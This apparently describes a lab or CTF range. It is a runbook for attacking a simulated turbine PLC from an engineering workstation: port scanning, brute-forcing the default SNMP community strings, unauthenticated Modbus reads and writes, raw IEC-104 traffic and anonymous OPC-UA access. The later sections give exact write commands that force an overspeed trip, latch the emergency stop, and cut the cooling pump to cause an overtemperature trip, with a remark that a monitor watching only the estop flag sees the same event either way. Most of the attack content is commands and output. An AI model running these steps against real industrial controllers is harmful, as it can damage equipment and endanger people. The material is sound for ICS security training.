Runbook: hex-turbine-plc

Entry point

This picks up from the engineering workstation. You have a shell there.

PS C:\Users\engineer>

The PLC is at 10.10.3.21. It has no SSH, no web UI, no login shell. Everything is protocol traffic.

Port survey

Scan the PLC to see what is listening:

PS C:\Users\engineer> nmap -sV -p 502,2404,4840,20000 10.10.3.21
Starting Nmap 7.93 ( https://nmap.org ) at 2026-06-11 19:15 UTC
Nmap scan report for 10.10.3.21
Host is up (0.00011s latency).

PORT      STATE SERVICE    VERSION
502/tcp   open  mbap?
2404/tcp  open  msdtc      Microsoft Distributed Transaction Coordinator
4840/tcp  open  opcua-tcp?
20000/tcp open  dnp?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap done: 1 IP address (1 host up) scanned in 165.63 seconds

Four ports open. nmap’s service guesses are approximate: 502 is Modbus TCP, 4840 is OPC-UA, 20000 is DNP3. Port 2404 is identified as msdtc (Microsoft DTC), which is a mis-guess: the actual protocol is IEC-104. These are four separate integration points added at different times, none decommissioned when the next arrived. SNMP is on UDP, the scan above misses it.

PS C:\Users\engineer> nmap -sU -p 161 --script snmp-sysdescr 10.10.3.21
Starting Nmap 7.93 ( https://nmap.org ) at <timestamp>
Nmap scan report for 10.10.3.21
Host is up (0.000083s latency).

PORT    STATE SERVICE
161/udp open  snmp
| snmp-sysdescr: HEX-CPU-4000 Turbine PLC, Hex Computing Division, firmware 4.1.2
|_  System uptime: 3m57.13s (23713 timeticks)

Nmap done: 1 IP address (1 host up) scanned in 13.26 seconds

Device identity confirmed. The firmware version and vendor may narrow available exploit paths. Run snmp-brute to check for default community strings:

PS C:\Users\engineer> nmap -sU -p 161 --script snmp-brute 10.10.3.21
Starting Nmap 7.93 ( https://nmap.org ) at <timestamp>
Nmap scan report for 10.10.3.21
Host is up (0.000087s latency).

PORT    STATE SERVICE
161/udp open  snmp
| snmp-brute: 
|   public - Valid credentials
|_  private - Valid credentials

Nmap done: 1 IP address (1 host up) scanned in 14.54 seconds

Both defaults in place. The private community allows read-write access. Before probing further, check the Documents folder. Ponder saved an SNMP capture there:

PS C:\Users\engineer> cat Documents\snmp_plc_2024-03-15.txt

The file gives sysContact (Ponder Stibbons <ponder@unseen.edu>), sysLocation (Hex Engine Room, Unseen University, Ankh-Morpork), and confirms the rwcommunity private note at the bottom. It also lists the MAC address and interface counters from the time of capture.

Reading the process state

Modbus TCP on port 502 requires no credentials. Read the input registers first:

PS C:\Users\engineer> python Tools\modbus_read.py 10.10.3.21 502 input 0 11
[2986, 421, 83, 229, 74, 228, 73, 498, 31, 8, 15]

Eleven values in order: RPM, temperature (°C), pressure (bar), line voltage A (V), line current A (A), line voltage B (V), line current B (A), frequency ×10 (so 498 means 49.8 Hz), power (kW), oil pressure (bar), vibration ×10 (so 15 means 1.5 mm/s). The values shown above are illustrative; yours will differ. Run the command a few times to watch them drift.

Read the coils:

PS C:\Users\engineer> python Tools\modbus_read.py 10.10.3.21 502 coil 0 7
[False, False, False, False, False, True, True]

Seven bits in order: emergency stop, alarm overspeed, alarm overtemp, alarm overpressure, alarm undervoltage, breaker A closed, breaker B closed. In normal operation all alarm flags are False and both breakers are True (closed).

At steady state:

  • RPM: ~3000

  • Temperature: 400-440°C

  • Pressure: 80-90 bar

  • Voltage: 220-235 V on each feeder

  • Frequency: 470-500 (47.0-50.0 Hz)

  • Fuel valve: 60-80%, adjusted by governor

  • Cooling pump: 100%

IEC-104

Port 2404 serves live turbine data over IEC-104 without authentication. Verify the connection and get a raw response:

PS C:\Users\engineer> python -c "import socket,time; s=socket.socket(); s.connect(('10.10.3.21',2404)); s.settimeout(3); s.sendall(bytes([0x68,0x04,0x07,0x00,0x00,0x00])); time.sleep(0.2); r=s.recv(64); print('STARTDT confirmed:',r[:6].hex()=='68040b000000'); s.sendall(bytes([0x68,0x04,0x00,0x00,0x00,0x00])); time.sleep(0.3); data=s.recv(512); print('ASDU type:',hex(data[6])); print('raw:',data.hex()); s.close()"
STARTDT confirmed: True
ASDU type: 0x9
raw: 6819000000000904010001000100004c7200180b00b60800061300

Type 9 is M_ME_NB_1 (normalised measured value). The ASDU carries four values: RPM, temperature, voltage A, and frequency. Each is encoded as raw × 10 of the Modbus register value. A proper IEC-104 client (lib60870, python-iec104) decodes these automatically and maps them to engineering units.

OPC-UA

The nmap scan showed port 4840 open (opcua-tcp). Connect endpoint: opc.tcp://10.10.3.21:4840. Security: None. Authentication: anonymous.

This is not a Modbus-to-OPC-UA bridge; it is a separate sidecar service sharing the PLC’s IP address. The sidecar runs its own node tree. An OPC-UA client (such as opcua-client-gui or python-asyncua) can browse the namespace, read node values, and call methods. The node tree includes pump-like objects with callable methods. Neither asyncua nor opcua-client is pre-installed on this workstation; a tool brought in from elsewhere connects without credentials.

The interesting implication is that two independent services sit on 10.10.3.21. Port 502 is the physical controller; port 4840 is the OPC-UA layer. Actions on one are not automatically visible on the other.

Governor behaviour

The governor is a proportional controller. Its only input is HR[0] (setpoint) and IR[0] (current RPM); its only output is HR[1] (fuel valve). Raising the setpoint causes the governor to open the valve; RPM climbs to match. Lowering it causes the valve to close; RPM falls.

Try a modest change: raise the setpoint by 200 and read it back:

PS C:\Users\engineer> python Tools\modbus_write.py 10.10.3.21 502 holding 0 3200
Written 3200 to holding[0] on 10.10.3.21:502
PS C:\Users\engineer> python Tools\modbus_read.py 10.10.3.21 502 holding 0 1
[3200]

Watch IR[0] (RPM) over the next thirty seconds via modbus_read.py. RPM climbs; temperature follows; frequency rises proportionally; power output increases. The effects appear in all telemetry channels simultaneously.

Restore the original value:

PS C:\Users\engineer> python Tools\modbus_write.py 10.10.3.21 502 holding 0 3000
Written 3000 to holding[0] on 10.10.3.21:502
PS C:\Users\engineer> python Tools\modbus_read.py 10.10.3.21 502 holding 0 1
[3000]

Trips and what triggers them

The physics loop monitors three conditions and fires the emergency stop coil automatically if any is exceeded:

  • RPM > 3300: overspeed trip (coil 1 sets, coil 0 sets automatically)

  • Temperature > 490°C: overtemp trip (coil 2 sets, coil 0 sets automatically)

  • Pressure > 95 bar: overpressure trip (coil 3 sets, coil 0 sets automatically)

A fourth condition, undervoltage (voltage < 85% of 230 V), sets coil 4 but does not automatically trip the machine.

To trigger an overspeed trip: write the setpoint to a value above 3300. The governor raises fuel; RPM climbs past the trip threshold; the physics loop sets estop and overspeed alarm simultaneously; the governor sees estop and zeroes the fuel valve.

PS C:\Users\engineer> python Tools\modbus_write.py 10.10.3.21 502 holding 0 3800
Written 3800 to holding[0] on 10.10.3.21:502

Read coils within a few seconds:

PS C:\Users\engineer> python Tools\modbus_read.py 10.10.3.21 502 coil 0 7
[True, False, False, False, True, True, True]

Coil 0 (estop) is set. Coil 1 (overspeed alarm) may already have cleared by the time you read: the physics loop sets it the moment RPM exceeds 3300 but clears it automatically once RPM drops back below 3300, which happens quickly after the fuel valve closes. Coil 4 (undervoltage alarm) sets as voltage drops with RPM. Coil 0 does not clear automatically; it latches until written back.

Recovery: lower the setpoint first, then release the estop. In the wrong order, the setpoint is still above 3300 and the trip fires again immediately.

PS C:\Users\engineer> python Tools\modbus_write.py 10.10.3.21 502 holding 0 3000
Written 3000 to holding[0] on 10.10.3.21:502
PS C:\Users\engineer> python Tools\modbus_write.py 10.10.3.21 502 coil 0 false
Written false to coil[0] on 10.10.3.21:502
PS C:\Users\engineer> python Tools\modbus_read.py 10.10.3.21 502 coil 0 2
[False, False]

A direct emergency stop without a trip: write the coil without changing the setpoint.

PS C:\Users\engineer> python Tools\modbus_write.py 10.10.3.21 502 coil 0 true
Written true to coil[0] on 10.10.3.21:502
PS C:\Users\engineer> python Tools\modbus_read.py 10.10.3.21 502 coil 0 2
[True, False]

The fuel valve closes immediately. RPM decays. The coil stays True until written back to False. This differs from an overspeed trip only in that no alarm flag is set alongside it, and the setpoint stays unchanged.

Transient vs persistent

All register writes take effect immediately and stay until the next write or a restart. Nothing is written to persistent storage.

  • Setting HR[0] (setpoint) to a new value: stays at that value until written again. The governor continues chasing the new target indefinitely.

  • Writing estop coil True: stays True until explicitly written False.

  • Alarm coils (1-4): set and cleared automatically by the physics loop based on live sensor values. Writing to them has no lasting effect.

  • HR[2] (cooling pump speed): the governor does not touch this. A write persists. Reducing cooling causes temperature to climb toward the overtemp trip.

  • HR[3] (overcurrent threshold): persists in the PLC register. The relay IEDs at 10.10.3.31 and 10.10.3.32 hold their own copies of this threshold and are not affected by a PLC register write.

After a restart, all registers reset to defaults: setpoint 3000, cooling pump 100%, overcurrent threshold 200A, estop 0.

Cooling pump as a slow path

Lowering the cooling pump speed (HR[2]) raises temperature gradually over minutes rather than seconds. At cooling=0, the temperature climbs from nominal (420°C) toward the overtemp trip (490°C). The rate depends on current fuel load. At full load the trip fires in under two minutes; at lower RPM it takes longer.

This produces a different observable signature than an overspeed trip: RPM stays normal while temperature climbs. Alarm coil 2 fires; estop fires; the machine trips on overtemperature rather than overspeed. A monitoring system that watches only the estop flag sees the same event either way.

PS C:\Users\engineer> python Tools\modbus_write.py 10.10.3.21 502 holding 2 0
Written 0 to holding[2] on 10.10.3.21:502
PS C:\Users\engineer> python Tools\modbus_read.py 10.10.3.21 502 holding 0 4
[3000, 15, 0, 200]

Cooling pump speed is now 0. Read temperature at 30-second intervals via modbus_read.py to watch it climb.